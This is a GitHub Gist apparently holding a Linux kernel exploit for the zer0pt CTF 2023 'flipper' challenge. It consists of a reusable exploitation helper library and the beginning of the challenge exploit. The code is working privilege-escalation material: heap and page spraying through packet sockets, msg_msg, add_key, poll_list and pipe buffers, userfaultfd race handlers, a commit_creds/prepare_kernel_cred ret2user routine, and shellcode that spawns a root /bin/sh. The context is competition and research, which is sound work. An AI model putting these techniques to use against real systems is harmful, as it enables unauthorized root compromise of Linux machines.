Created
July 16, 2023 07:00
-
-
Save Roarcannotprogramming/4f1ce02e43499e36f4d838ae7a17704b to your computer and use it in GitHub Desktop.
EXP for zer0pt ctf 2023 flipper
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include "banzi.h" | |
/** | |
* global variables | |
*/ | |
int sprayfd_child[2]; | |
int sprayfd_parent[2]; | |
int socketfds[10*INITIAL_PAGE_SPRAY]; | |
unsigned long user_cs, user_ss, user_rflags, user_sp; | |
unsigned long long int base_addr; | |
void *(*prepare_kernel_cred)(uint64_t)KERNCALL; | |
void (*commit_creds)(void *) KERNCALL; | |
int spray_keys[0x1000]; | |
int shmid[0x1000]; | |
void *shmaddr[0x1000]; | |
pthread_t poll_tid[0x1000]; | |
size_t poll_threads; | |
pthread_mutex_t mutex; | |
int poll_watch_fd; | |
int sendmsg_socketfd; | |
char **sendmsg_mmaped_addrs; | |
struct sockaddr_in socket_addr; | |
struct msghdr *sendmsg_msgs; | |
/** | |
* socket 占页 | |
* https://www.willsroot.io/2022/08/reviving-exploits-against-cred-struct.html | |
* 需要在内核中开启 CONFIG_USER_NS=y, 默认开启 | |
*/ | |
void unshare_setup(uid_t uid, gid_t gid) { | |
int temp; | |
char edit[0x100]; | |
if(unshare(CLONE_NEWNS | CLONE_NEWUSER | CLONE_NEWNET) != 0) { | |
perror("unshare failed"); | |
exit(-1); | |
} | |
temp = open("/proc/self/setgroups", O_WRONLY); | |
write(temp, "deny", strlen("deny")); | |
close(temp); | |
temp = open("/proc/self/uid_map", O_WRONLY); | |
snprintf(edit, sizeof(edit), "0 %d 1", uid); | |
write(temp, edit, strlen(edit)); | |
close(temp); | |
temp = open("/proc/self/gid_map", O_WRONLY); | |
snprintf(edit, sizeof(edit), "0 %d 1", gid); | |
write(temp, edit, strlen(edit)); | |
close(temp); | |
return; | |
} | |
void send_spray_cmd(enum spray_cmd cmd, int idx, uint32_t order) { | |
ipc_req_t req; | |
int32_t result; | |
req.cmd = cmd; | |
req.idx = idx; | |
req.order = order; | |
write(sprayfd_child[1], &req, sizeof(req)); | |
read(sprayfd_parent[0], &result, sizeof(result)); | |
assert(result == idx); | |
} | |
int alloc_pages_via_sock(uint32_t size, uint32_t n) { | |
struct tpacket_req req; | |
int32_t socketfd, version; | |
socketfd = socket(AF_PACKET, SOCK_RAW, PF_PACKET); | |
if (socketfd < 0) { | |
perror("bad socket"); | |
exit(-1); | |
} | |
version = TPACKET_V1; | |
if (setsockopt(socketfd, SOL_PACKET, PACKET_VERSION, &version, sizeof(version)) < 0) { | |
perror("setsockopt PACKET_VERSION failed"); | |
exit(-1); | |
} | |
assert(size % 4096 == 0); | |
memset(&req, 0, sizeof(req)); | |
req.tp_block_size = size; | |
req.tp_block_nr = n; | |
req.tp_frame_size = 4096; | |
req.tp_frame_nr = (req.tp_block_size * req.tp_block_nr) / req.tp_frame_size; | |
// printf("req.tp_block_size: %d\n", req.tp_block_size); | |
if (setsockopt(socketfd, SOL_PACKET, PACKET_TX_RING, &req, sizeof(req)) < 0) { | |
perror("setsockopt PACKET_TX_RING failed"); | |
exit(-1); | |
} | |
return socketfd; | |
} | |
void spray_comm_handler() { | |
ipc_req_t req; | |
int32_t result; | |
do { | |
read(sprayfd_child[0], &req, sizeof(req)); | |
assert(req.idx < 10*INITIAL_PAGE_SPRAY); | |
if (req.cmd == ALLOC_PAGE) { | |
assert(req.order < 10); | |
socketfds[req.idx] = alloc_pages_via_sock(4096*(1 << req.order), 1); | |
} else if (req.cmd == FREE_PAGE) { | |
close(socketfds[req.idx]); | |
} | |
result = req.idx; | |
write(sprayfd_parent[1], &result, sizeof(result)); | |
} while (req.cmd != EXIT_SPRAY); | |
} | |
static void socket_spray_example() { | |
uint32_t order = 0; | |
// for communicating with spraying in separate namespace via TX_RINGs | |
pipe(sprayfd_child); | |
pipe(sprayfd_parent); | |
puts("setting up spray manager in separate namespace"); | |
if (!fork()) { | |
unshare_setup(getuid(), getgid()); | |
spray_comm_handler(); | |
} | |
puts("Allocated all pages"); | |
for (int i = 0; i < INITIAL_PAGE_SPRAY; i++) { | |
send_spray_cmd(ALLOC_PAGE, i, order); | |
} | |
puts("Closed all odd pages"); | |
for (int i = 1; i < INITIAL_PAGE_SPRAY; i += 2) { | |
send_spray_cmd(FREE_PAGE, i, 0); | |
} | |
// TODO: get the freed odd pages back with our struct | |
// puts("Allocated all shm"); | |
// for (int i = 0; i < ((INITIAL_PAGE_SPRAY) / 2) * (0x1000 / 0x20) / 100; i++) { | |
// alloc_shm(i); | |
// } | |
puts("Closed all even pages"); | |
for (int i = 0; i < INITIAL_PAGE_SPRAY; i += 2) { | |
send_spray_cmd(FREE_PAGE, i, 0); | |
} | |
} | |
/** | |
* ROP 相关 | |
*/ | |
void *(*prepare_kernel_cred)(uint64_t)KERNCALL = (void *(*)(uint64_t))0xffffffff810b9d80; // TODO:change it | |
void (*commit_creds)(void *) KERNCALL = (void (*)(void *))0xffffffff810b99d0; // TODO:change it | |
void save_stats_64() { | |
__asm__ __volatile__( | |
"movq %%cs, %0\n" | |
"movq %%ss, %1\n" | |
"movq %%rsp, %3\n" | |
"pushfq\n" | |
"popq %2\n" | |
: "=r"(user_cs), "=r"(user_ss), "=r"(user_rflags), "=r"(user_sp) | |
: | |
: "memory"); | |
} | |
void templine() { | |
commit_creds(prepare_kernel_cred(0)); | |
__asm__ __volatile__( | |
"pushq %0;" | |
"pushq %1;" | |
"pushq %2;" | |
"pushq %3;" | |
"pushq $shell;" | |
"pushq $0;" | |
"swapgs;" | |
"popq %%rbp;" | |
"iretq;" | |
: | |
: "m"(user_ss), "m"(user_sp), "m"(user_rflags), "m"(user_cs)); | |
} | |
void shell() { | |
printf("root\n"); | |
system("/bin/sh"); | |
exit(0); | |
} | |
uint64_t calc(uint64_t addr) { return addr - 0xffffffff81000000 + base_addr; } | |
/** | |
* msg_msg 相关 | |
* https://www.willsroot.io/2021/08/corctf-2021-fire-of-salvation-writeup.html | |
*/ | |
int32_t make_queue(key_t key, int msgflg) { | |
int32_t qid; | |
if ((qid = msgget(key, msgflg)) == -1) { | |
perror("msgget failure"); | |
exit(-1); | |
} | |
return qid; | |
} | |
void get_msg(int msqid, struct msg_struct *msgp, size_t msgsz, long msgtyp, int msgflg) { | |
if (msgrcv(msqid, msgp, msgsz, msgtyp, msgflg) < 0) { | |
perror("msgrcv"); | |
exit(-1); | |
} | |
return; | |
} | |
void send_msg(int msqid, struct msg_struct *msgp, size_t msgsz, int msgflg) { | |
if (msgsnd(msqid, msgp, msgsz, msgflg) == -1) { | |
perror("msgsend failure"); | |
exit(-1); | |
} | |
return; | |
} | |
static void msg_msg_example() { | |
char *message = "Hello, World"; | |
char *recieved = malloc(0x100); | |
int qid = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT); | |
send_msg(qid, message, strlen(message) + 1, 0); | |
get_msg(qid, recieved, strlen(message) + 1, 0, IPC_NOWAIT | MSG_NOERROR); | |
} | |
/** | |
* cpu_affinity 相关 | |
*/ | |
void assign_to_core(int core_id) { | |
cpu_set_t mask; | |
CPU_ZERO(&mask); | |
CPU_SET(core_id, &mask); | |
if (sched_setaffinity(getpid(), sizeof(mask), &mask) < 0) { | |
perror("[X] sched_setaffinity()"); | |
exit(1); | |
} | |
} | |
void assign_thread_to_core(int core_id) { | |
cpu_set_t mask; | |
CPU_ZERO(&mask); | |
CPU_SET(core_id, &mask); | |
if (pthread_setaffinity_np(pthread_self(), sizeof(mask), &mask) < 0) { | |
perror("[X] assign_thread_to_core_range()"); | |
exit(1); | |
} | |
} | |
/** | |
* userfaultfd 相关 | |
*/ | |
uint64_t register_userfault(uint64_t fault_page, uint64_t fault_page_len, uint64_t handler) { | |
struct uffdio_api ua; | |
struct uffdio_register ur; | |
pthread_t thr; | |
uint64_t uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK); // Create THE User Fault Fd | |
ua.api = UFFD_API; | |
ua.features = 0; | |
if (ioctl(uffd, UFFDIO_API, &ua) == -1) errExit("[-] ioctl-UFFDIO_API"); | |
ur.range.start = (unsigned long)fault_page; | |
ur.range.len = fault_page_len; | |
ur.mode = UFFDIO_REGISTER_MODE_MISSING; | |
if (ioctl(uffd, UFFDIO_REGISTER, &ur) == -1) | |
errExit( | |
"[-] ioctl-UFFDIO_REGISTER"); //注册页地址与错误处理FD,若访问到FAULT_PAGE,则访问被挂起,uffd会接收到信号 | |
if (pthread_create(&thr, NULL, (void *(*)(void *))handler, (void *)uffd)) // handler函数进行访存错误处理 | |
errExit("[-] pthread_create"); | |
return uffd; | |
} | |
static void *userfault_handler_example(void *arg) { | |
struct uffd_msg msg; /* Data read from userfaultfd */ | |
int fault_cnt = 0; /* Number of faults so far handled */ | |
long uffd; /* userfaultfd file descriptor */ | |
char *page = NULL; | |
struct uffdio_copy uffdio_copy; | |
ssize_t nread; | |
uffd = (long)arg; | |
/* Create a page that will be copied into the faulting region */ | |
if (page == NULL) { | |
page = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); | |
if (page == MAP_FAILED) perror("mmap"); | |
} | |
/* Loop, handling incoming events on the userfaultfd | |
file descriptor */ | |
for (;;) { | |
/* See what poll() tells us about the userfaultfd */ | |
struct pollfd pollfd; | |
int nready; | |
pollfd.fd = uffd; | |
pollfd.events = POLLIN; | |
nready = poll(&pollfd, 1, -1); | |
if (nready == -1) puts("poll"); | |
/* Read an event from the userfaultfd */ | |
nread = read(uffd, &msg, sizeof(msg)); | |
if (nread == 0) { | |
printf("EOF on userfaultfd!\n"); | |
exit(EXIT_FAILURE); | |
} | |
if (nread == -1) puts("read"); | |
/* We expect only one kind of event; verify that assumption */ | |
if (msg.event != UFFD_EVENT_PAGEFAULT) { | |
fprintf(stderr, "Unexpected event on userfaultfd\n"); | |
exit(EXIT_FAILURE); | |
} | |
/* Copy the page pointed to by 'page' into the faulting | |
region. Vary the contents that are copied in, so that it | |
is more obvious that each fault is handled separately. */ | |
if (msg.arg.pagefault.flags & UFFD_PAGEFAULT_FLAG_WRITE) { | |
// TODO: write | |
printf("[-] triggering write fault\n"); | |
sleep(2); | |
} else { | |
// TODO: read | |
printf("[-] triggering read fault\n"); | |
sleep(2); | |
fault_cnt++; | |
uffdio_copy.src = (unsigned long)page; | |
uffdio_copy.dst = (unsigned long)msg.arg.pagefault.address & ~(0x1000 - 1); | |
uffdio_copy.len = 0x1000; | |
uffdio_copy.mode = 0; | |
uffdio_copy.copy = 0; | |
if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1) perror("ioctl-UFFDIO_COPY"); | |
} | |
} | |
} | |
/** | |
* add_key 相关 | |
* https://syst3mfailure.io/corjail | |
*/ | |
int alloc_key(int id, char *buff, size_t size) { | |
char desc[256] = {0}; | |
char *payload; | |
int key; | |
size -= sizeof(struct user_key_payload); | |
sprintf(desc, "payload_%d", id); | |
payload = buff ? buff : calloc(1, size); | |
if (!buff) memset(payload, id, size); | |
key = add_key("user", desc, payload, size, KEY_SPEC_PROCESS_KEYRING); | |
if (key < 0) { | |
perror("[X] add_key()"); | |
return -1; | |
} | |
return key; | |
} | |
void free_key(int i) { | |
keyctl_revoke(spray_keys[i]); | |
keyctl_unlink(spray_keys[i], KEY_SPEC_PROCESS_KEYRING); | |
} | |
char *get_key(int i, size_t size) { | |
char *data; | |
data = calloc(1, size); | |
keyctl_read(spray_keys[i], data, size); | |
return data; | |
} | |
/** | |
* shm 相关 | |
* https://syst3mfailure.io/sixpack-slab-out-of-bounds | |
*/ | |
void alloc_shm(int i) { | |
shmid[i] = shmget(IPC_PRIVATE, 0x1000, IPC_CREAT | 0600); | |
if (shmid[i] < 0) { | |
perror("[X] shmget fail"); | |
exit(1); | |
} | |
shmaddr[i] = (void *)shmat(shmid[i], NULL, SHM_RDONLY); | |
if (shmaddr[i] < 0) { | |
perror("[X] shmat"); | |
exit(1); | |
} | |
} | |
/** | |
* hexdump | |
*/ | |
void hexdump(unsigned char *buff, size_t size) { | |
int i, j; | |
for (i = 0; i < size / 8; i++) { | |
if ((i % 2) == 0) { | |
if (i != 0) printf(" \n"); | |
printf(" %04x ", i * 8); | |
} | |
printf("0x%016lx", ((uint64_t *)(buff))[i]); | |
printf(" "); | |
} | |
putchar('\n'); | |
} | |
/** | |
* pollfd 相关 | |
* https://syst3mfailure.io/corjail | |
*/ | |
pthread_mutex_t mutex = PTHREAD_MUTEX_INITIALIZER; | |
void *alloc_poll_list(void *args) { | |
struct pollfd *pfds; | |
int nfds, timeout, id, watch_fd; | |
id = ((struct t_args *)args)->id; | |
nfds = ((struct t_args *)args)->nfds; | |
timeout = ((struct t_args *)args)->timeout; | |
watch_fd = ((struct t_args *)args)->watch_fd; | |
pfds = calloc(nfds, sizeof(struct pollfd)); | |
for (int i = 0; i < nfds; i++) { | |
pfds[i].fd = watch_fd; | |
pfds[i].events = POLLERR; | |
} | |
assign_thread_to_core(0); | |
pthread_mutex_lock(&mutex); | |
poll_threads++; | |
pthread_mutex_unlock(&mutex); | |
printf("[Thread %d] Start polling...\n", id); | |
int ret = poll(pfds, nfds, timeout); | |
printf("[Thread %d] Polling complete: %d!\n", id, ret); | |
} | |
void create_poll_thread(int id, size_t size, int timeout) { | |
struct t_args *args; | |
args = calloc(1, sizeof(struct t_args)); | |
if (size > PAGE_SIZE) size = size - ((size / PAGE_SIZE) * sizeof(struct poll_list)); | |
args->id = id; | |
args->nfds = NFDS(size); | |
args->timeout = timeout; | |
args->watch_fd = poll_watch_fd; | |
pthread_create(&poll_tid[id], 0, alloc_poll_list, (void *)args); | |
} | |
void *alloc_poll_list_for_crosscache(void *args) { | |
struct pollfd *pfds; | |
int nfds, timeout, id, watch_fd; | |
id = ((struct t_args *)args)->id; | |
nfds = ((struct t_args *)args)->nfds; | |
timeout = ((struct t_args *)args)->timeout; | |
watch_fd = ((struct t_args *)args)->watch_fd; | |
pfds = calloc(nfds, sizeof(struct pollfd)); | |
for (int i = 0; i < nfds; i++) { | |
pfds[i].fd = watch_fd; | |
pfds[i].events = POLLERR; | |
} | |
assign_thread_to_core(0); | |
pthread_mutex_lock(&mutex); | |
poll_threads++; | |
pthread_mutex_unlock(&mutex); | |
sleep(6); | |
printf("[Thread %d] Start polling...\n", id); | |
int ret = poll(pfds, nfds, timeout); | |
printf("[Thread %d] Polling complete: %d!\n", id, ret); | |
} | |
void create_poll_thread_for_crosscache(int id, size_t size, int timeout) { | |
struct t_args *args; | |
args = calloc(1, sizeof(struct t_args)); | |
if (size > PAGE_SIZE) size = size - ((size / PAGE_SIZE) * sizeof(struct poll_list)); | |
args->id = id; | |
args->nfds = NFDS(size); | |
args->timeout = timeout; | |
args->watch_fd = poll_watch_fd; | |
pthread_create(&poll_tid[id], 0, alloc_poll_list_for_crosscache, (void *)args); | |
} | |
void join_poll_threads(void) { | |
for (int i = 0; i < poll_threads; i++) pthread_join(poll_tid[i], NULL); | |
poll_threads = 0; | |
} | |
void init_fd() { | |
poll_watch_fd = open("/etc/passwd", O_RDONLY); | |
if (poll_watch_fd < 1) { | |
perror("[X] init_fd()"); | |
exit(1); | |
} | |
} | |
/** | |
* msgsnd 相关 | |
* 需要 userfaultfd 配合使用,并注意检查 userfaultfd 结束后,sendmsg 是否返回。 | |
*/ | |
struct sockaddr_in socket_addr = {0}; | |
void sendmsg_init(uint64_t n, uint64_t spray_size, uint64_t offset, uint64_t userfault_handler) { | |
assert(offset < PAGE_SIZE && "offset must be less than PAGE_SIZE"); | |
assert(spray_size > 44 && "spray_size must be greater than 44"); | |
sendmsg_mmaped_addrs = calloc(n, sizeof(uint64_t)); | |
for (int i = 0; i < n; i++) { | |
sendmsg_mmaped_addrs[i] = mmap(NULL, 2 * PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); | |
if (sendmsg_mmaped_addrs[i] == MAP_FAILED) { | |
perror("[X] mmap"); | |
exit(1); | |
} | |
// hit all the odd pages | |
sendmsg_mmaped_addrs[i][0] = '\0'; | |
} | |
sendmsg_socketfd = socket(AF_INET, SOCK_DGRAM, 0); | |
socket_addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK); | |
socket_addr.sin_family = AF_INET; | |
socket_addr.sin_port = htons(6666); | |
sendmsg_msgs = calloc(n, sizeof(struct msghdr)); | |
if (sendmsg_msgs == NULL) { | |
perror("[X] calloc"); | |
exit(1); | |
} | |
for (int i = 0; i < n; i++) { | |
memset(&sendmsg_msgs[i], 0, sizeof(struct msghdr)); | |
sendmsg_msgs[i].msg_control = sendmsg_mmaped_addrs[i] + offset; | |
sendmsg_msgs[i].msg_controllen = spray_size; | |
sendmsg_msgs[i].msg_name = (caddr_t)&socket_addr; | |
sendmsg_msgs[i].msg_namelen = sizeof(socket_addr); | |
register_userfault(sendmsg_mmaped_addrs[i] + 0x1000, PAGE_SIZE, (uint64_t)userfault_handler); | |
} | |
} | |
/** | |
* @brief pipe_buffer 相关 | |
* | |
*/ | |
int pipefds[PIPE_SPRAY_NUM][2]; | |
void extend_pipe_buffer(int idx, size_t size) { | |
int ret = fcntl(pipefds[idx][1], F_SETPIPE_SZ, size); | |
if (ret < 0) { | |
perror("[X] fcntl"); | |
exit(1); | |
} | |
} | |
void spray_pipe() { | |
for (int i = 0; i < PIPE_SPRAY_NUM; i++) { | |
if (pipe(pipefds[i]) < 0) { | |
perror("[X] pipe"); | |
exit(1); | |
} | |
} | |
} | |
/** | |
* @brief convert page to physic address | |
* | |
*/ | |
uint64_t virtual_base = 0xffff888000000000; | |
uint64_t vmemmap_base = 0xffffea0000000000; | |
uint64_t page_to_virtual(uint64_t page) { | |
uint64_t page_cnt = (page - vmemmap_base) / 0x40; | |
uint64_t virtual_addr = virtual_base + page_cnt * 0x1000; | |
return virtual_addr; | |
} | |
uint64_t page_to_physic(uint64_t page) { | |
return page_to_virtual(page) - virtual_base; | |
} | |
/** | |
* @brief fork spray cred 相关 | |
* | |
*/ | |
// __attribute__((naked)) pid_t __clone(uint64_t flags, void *dest) | |
// { | |
// __asm__ __volatile__( | |
// ".intel_syntax noprefix;\n" | |
// "mov r15, rsi;\n" | |
// "xor rsi, rsi;\n" | |
// "xor rdx, rdx;\n" | |
// "xor r10, r10;\n" | |
// "xor r9, r9;\n" | |
// "mov rax, 56;\n" | |
// "syscall;\n" | |
// "cmp rax, 0;\n" | |
// "jl bad_end;\n" | |
// "jg good_end;\n" | |
// "jmp r15;\n" | |
// "bad_end:\n" | |
// "neg rax;\n" | |
// "ret;\n" | |
// "good_end:\n" | |
// "ret;\n" | |
// ".att_syntax prefix;\n" | |
// ); | |
// } | |
int rootfd[2]; | |
struct timespec timer = {.tv_sec = 1000000000, .tv_nsec = 0}; | |
char throwaway; | |
char root[] = "root\n"; | |
char binsh[] = "/bin/sh\x00"; | |
char *args[] = {"/bin/sh", NULL}; | |
__attribute__((naked)) void check_and_wait() | |
{ | |
__asm__ __volatile__( | |
".intel_syntax noprefix;\n" | |
"lea rax, [rootfd];\n" | |
"mov edi, dword ptr [rax];\n" | |
"lea rsi, [throwaway];\n" | |
"mov rdx, 1;\n" | |
"xor rax, rax;\n" | |
"syscall;\n" | |
"mov rax, 102;\n" | |
"syscall;\n" | |
"cmp rax, 0;\n" | |
"jne finish;\n" | |
"mov rdi, 1;\n" | |
"lea rsi, [root];\n" | |
"mov rdx, 5;\n" | |
"mov rax, 1;\n" | |
"syscall;\n" | |
"lea rdi, [binsh];\n" | |
"lea rsi, [args];\n" | |
"xor rdx, rdx;\n" | |
"mov rax, 59;\n" | |
"syscall;\n" | |
"finish:\n" | |
"lea rdi, [timer];\n" | |
"xor rsi, rsi;\n" | |
"mov rax, 35;\n" | |
"syscall;\n" | |
"ret;\n" | |
".att_syntax prefix;\n" | |
); | |
} | |
int just_wait() | |
{ | |
sleep(1000000000); | |
} | |
void fork_spray_cred_example() { | |
pipe(rootfd); | |
for (int i = 0; i < 0x20; i++) { | |
pid_t result = fork(); | |
if (!result) | |
{ | |
just_wait(); | |
} | |
if (result < 0) | |
{ | |
puts("fork limit"); | |
exit(-1); | |
} | |
} | |
// TODO: 页风水布局 | |
for (int i = 0; i < 0x40; i++) | |
{ | |
pid_t result = __clone(CLONE_FLAGS, &check_and_wait); | |
if (result < 0) | |
{ | |
perror("clone error"); | |
exit(-1); | |
} | |
} | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#ifndef BANZI_H | |
#define BANZI_H | |
#define _GNU_SOURCE | |
#include <arpa/inet.h> | |
#include <assert.h> | |
#include <errno.h> | |
#include <fcntl.h> | |
#include <inttypes.h> | |
#include <keyutils.h> | |
#include <linux/userfaultfd.h> | |
#include <poll.h> | |
#include <pthread.h> | |
#include <signal.h> | |
#include <stdbool.h> | |
#include <stdio.h> | |
#include <stdlib.h> | |
#include <string.h> | |
#include <sys/ioctl.h> | |
#include <sys/ipc.h> | |
#include <sys/mman.h> | |
#include <sys/msg.h> | |
#include <sys/shm.h> | |
#include <sys/socket.h> | |
#include <sys/stat.h> | |
#include <sys/syscall.h> | |
#include <sys/types.h> | |
#include <sys/wait.h> | |
#include <sys/xattr.h> | |
#include <unistd.h> | |
#define errExit(msg) \ | |
do { \ | |
perror(msg); \ | |
exit(EXIT_FAILURE); \ | |
} while (0) | |
#define PAGE_SIZE 0x1000 | |
/* | |
* socket 占页 | |
* https://www.willsroot.io/2022/08/reviving-exploits-against-cred-struct.html | |
* 需要在内核中开启 CONFIG_USER_NS=y, 默认开启 | |
*/ | |
// 一般环境最大 fds 是 1024,如果超出,修改 INITIAL_PAGE_SPRAY。 | |
#define INITIAL_PAGE_SPRAY 20 | |
#define PACKET_VERSION 10 | |
#define PACKET_TX_RING 13 | |
struct tpacket_req { | |
unsigned int tp_block_size; | |
unsigned int tp_block_nr; | |
unsigned int tp_frame_size; | |
unsigned int tp_frame_nr; | |
}; | |
enum tpacket_versions { | |
TPACKET_V1, | |
TPACKET_V2, | |
TPACKET_V3, | |
}; | |
extern int sprayfd_child[2]; | |
extern int sprayfd_parent[2]; | |
extern int socketfds[10*INITIAL_PAGE_SPRAY]; | |
// #define PGV_ALLOC_ORDER_MASK 0x3c | |
// #define PGV_ALLOC_ORDER_SHIFT 2 | |
// #define PGV_ALLOC_ORDER(x) (((x)&PGV_ALLOC_ORDER_MASK) >> PGV_ALLOC_ORDER_SHIFT) | |
// #define PGV_ORDER_TO_REQUEST(x) ((x) << PGV_ALLOC_ORDER_SHIFT) | |
enum spray_cmd { | |
ALLOC_PAGE, | |
FREE_PAGE, | |
EXIT_SPRAY, | |
}; | |
typedef struct { | |
enum spray_cmd cmd; | |
int32_t idx; | |
uint32_t order; | |
} ipc_req_t; | |
void unshare_setup(uid_t uid, gid_t gid); | |
void send_spray_cmd(enum spray_cmd cmd, int idx, uint32_t order); | |
int alloc_pages_via_sock(uint32_t size, uint32_t n); | |
void spray_comm_handler(); | |
/* | |
* ROP 相关 | |
*/ | |
extern unsigned long user_cs, user_ss, user_rflags, user_sp; | |
extern unsigned long long int base_addr; | |
#define KERNCALL __attribute__((regparm(3))) | |
extern void *(*prepare_kernel_cred)(uint64_t)KERNCALL; | |
extern void (*commit_creds)(void *) KERNCALL; | |
void save_stats_64(); | |
void templine(); | |
void shell(); | |
uint64_t calc(uint64_t addr); | |
/* | |
* msg_msg 相关 | |
* https://www.willsroot.io/2021/08/corctf-2021-fire-of-salvation-writeup.html | |
*/ | |
struct msg_msg { | |
uint64_t m_list_1; | |
uint64_t m_list_2; | |
long m_type; | |
size_t m_ts; /* message text size */ | |
uint64_t next; | |
void *security; | |
/* the actual message follows immediately */ | |
}; | |
struct msg_struct { | |
long mtype; | |
char mtext[0]; | |
}; | |
int32_t make_queue(key_t key, int msgflg); | |
void get_msg(int msqid, struct msg_struct *msgp, size_t msgsz, long msgtyp, int msgflg); | |
void send_msg(int msqid, struct msg_struct *msgp, size_t msgsz, int msgflg); | |
/* | |
* cpu_affinity 相关 | |
*/ | |
void assign_to_core(int core_id); | |
void assign_thread_to_core(int core_id); | |
/* | |
* userfaultfd 相关 | |
*/ | |
uint64_t register_userfault(uint64_t fault_page, uint64_t fault_page_len, uint64_t handler); | |
/* | |
* add_key 相关 | |
* https://syst3mfailure.io/corjail | |
*/ | |
struct rcu_head { | |
void *next; | |
void *func; | |
}; | |
struct user_key_payload { | |
struct rcu_head rcu; | |
unsigned short datalen; | |
char *data[]; | |
}; | |
extern int spray_keys[0x1000]; | |
int alloc_key(int id, char *buff, size_t size); | |
void free_key(int i); | |
char *get_key(int i, size_t size); | |
/* | |
* shm 相关 | |
* https://syst3mfailure.io/sixpack-slab-out-of-bounds | |
*/ | |
extern int shmid[0x1000]; | |
extern void *shmaddr[0x1000]; | |
void alloc_shm(int i); | |
/* | |
* hexdump | |
*/ | |
void hexdump(unsigned char *buff, size_t size); | |
/* | |
* pollfd 相关 | |
* https://syst3mfailure.io/corjail | |
*/ | |
#define N_STACK_PPS 30 | |
#define POLLFD_PER_PAGE 510 | |
#define POLL_LIST_SIZE 16 | |
#define NFDS(size) (((size - POLL_LIST_SIZE) / sizeof(struct pollfd)) + N_STACK_PPS); | |
extern pthread_t poll_tid[0x1000]; | |
extern size_t poll_threads; | |
extern pthread_mutex_t mutex; | |
struct t_args { | |
int id; | |
int nfds; | |
int timeout; | |
int watch_fd; | |
}; | |
struct poll_list { | |
struct poll_list *next; | |
int len; | |
struct pollfd entries[]; | |
}; | |
extern int poll_watch_fd; | |
void *alloc_poll_list(void *args); | |
void create_poll_thread(int id, size_t size, int timeout); | |
void *alloc_poll_list_for_crosscache(void *args); | |
void create_poll_thread_for_crosscache(int id, size_t size, int timeout); | |
void join_poll_threads(void); | |
void init_fd(); | |
/* | |
* sendmsg 相关 | |
*/ | |
extern int sendmsg_socketfd; | |
extern char **sendmsg_mmaped_addrs; | |
extern struct sockaddr_in socket_addr; | |
extern struct msghdr *sendmsg_msgs; | |
void sendmsg_init(uint64_t n, uint64_t spray_size, uint64_t offset, uint64_t userfault_handler); | |
/** | |
* @brief pipe_buffer 相关 | |
* | |
*/ | |
#define PIPE_SPRAY_NUM 0x60 | |
extern int pipefds[PIPE_SPRAY_NUM][2]; | |
void extend_pipe_buffer(int idx, size_t size); | |
void spray_pipe(); | |
extern uint64_t virtual_base; | |
extern uint64_t vmemmap_base; | |
uint64_t page_to_virtual(uint64_t page); | |
uint64_t page_to_physic(uint64_t page); | |
/** | |
* @brief fork spray cred 相关 | |
* | |
*/ | |
#define CLONE_FLAGS CLONE_FILES | CLONE_FS | CLONE_VM | CLONE_SIGHAND | |
extern int rootfd[2]; | |
extern struct timespec timer; | |
extern char throwaway; | |
extern char root[]; | |
extern char binsh[]; | |
extern char *args[]; | |
__attribute__((naked)) pid_t __clone(uint64_t flags, void *dest); | |
__attribute__((naked)) void check_and_wait(); | |
int just_wait(); | |
void fork_spray_cred_example(); | |
#endif |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include "banzi.h" | |
#include <sys/capability.h> | |
#define CMD_ALLOC 0x13370000 | |
#define CMD_FLIP 0x13370001 | |
#define SPRAY_THREAD_NUM 40 | |
pthread_mutex_t t_mutex = PTHREAD_MUTEX_INITIALIZER; | |
int dev_fd = -1; | |
unsigned char *tmp_buf; | |
int shm_id; | |
struct workflow { | |
int pthread_create_done; | |
int cross_fengshui_done; | |
int spray_cred_done; | |
int set_refcont_done; | |
int alloc_vuln_done; | |
int overflow_done; | |
int free_cred_done; | |
int free_useless_threads_done; | |
int spray_su_done; | |
}; | |
struct workflow *wf; | |
void __fprintf_chk() { | |
puts("fprintf_chk"); | |
} | |
void flipper_alloc() { | |
if(ioctl(dev_fd, CMD_ALLOC, 0xc0) < 0) { | |
perror("ioctl"); | |
exit(1); | |
} | |
} | |
void flipper_flip(int bitofs) { | |
if(ioctl(dev_fd, CMD_FLIP, bitofs) < 0) { | |
perror("ioctl"); | |
exit(1); | |
} | |
} | |
void do_nothing() { | |
while(wf->overflow_done == 0) { | |
usleep(1000); | |
} | |
puts("free_the_cred"); | |
pthread_mutex_lock(&t_mutex); | |
wf->free_cred_done ++; | |
pthread_mutex_unlock(&t_mutex); | |
} | |
void set_cap() { | |
struct __user_cap_header_struct cap_header; | |
struct __user_cap_data_struct cap_data; | |
int my_id; | |
// printf("pid: %d\n", getpid()); | |
cap_header.pid = gettid() ; | |
cap_header.version = _LINUX_CAPABILITY_VERSION_1; | |
if( capget(&cap_header, &cap_data) < 0) | |
{ | |
perror("capget"); | |
exit(1); | |
} | |
// printf("Version: %x\n", cap_header.version); | |
// printf("capdata: %x %x %x\n", cap_data.effective, cap_data.permitted, cap_data.inheritable); | |
cap_data.effective = 0x0; | |
cap_data.permitted = 0x0; | |
cap_data.inheritable = 0x0; | |
while (wf->cross_fengshui_done == 0) | |
{ | |
usleep(1000); | |
} | |
pthread_mutex_lock(&t_mutex); | |
printf("spraying cred\n"); | |
assign_thread_to_core(0); | |
if (capset(&cap_header, &cap_data) < 0) { | |
pthread_mutex_unlock(&t_mutex); | |
perror("capset"); | |
exit(1); | |
} | |
my_id = wf->spray_cred_done; | |
wf->spray_cred_done ++; | |
pthread_mutex_unlock(&t_mutex); | |
while(wf->alloc_vuln_done == 0) { | |
usleep(1000); | |
} | |
pthread_t thread_pids[2]; | |
pthread_create(&thread_pids[0], NULL, (void *)do_nothing, NULL); | |
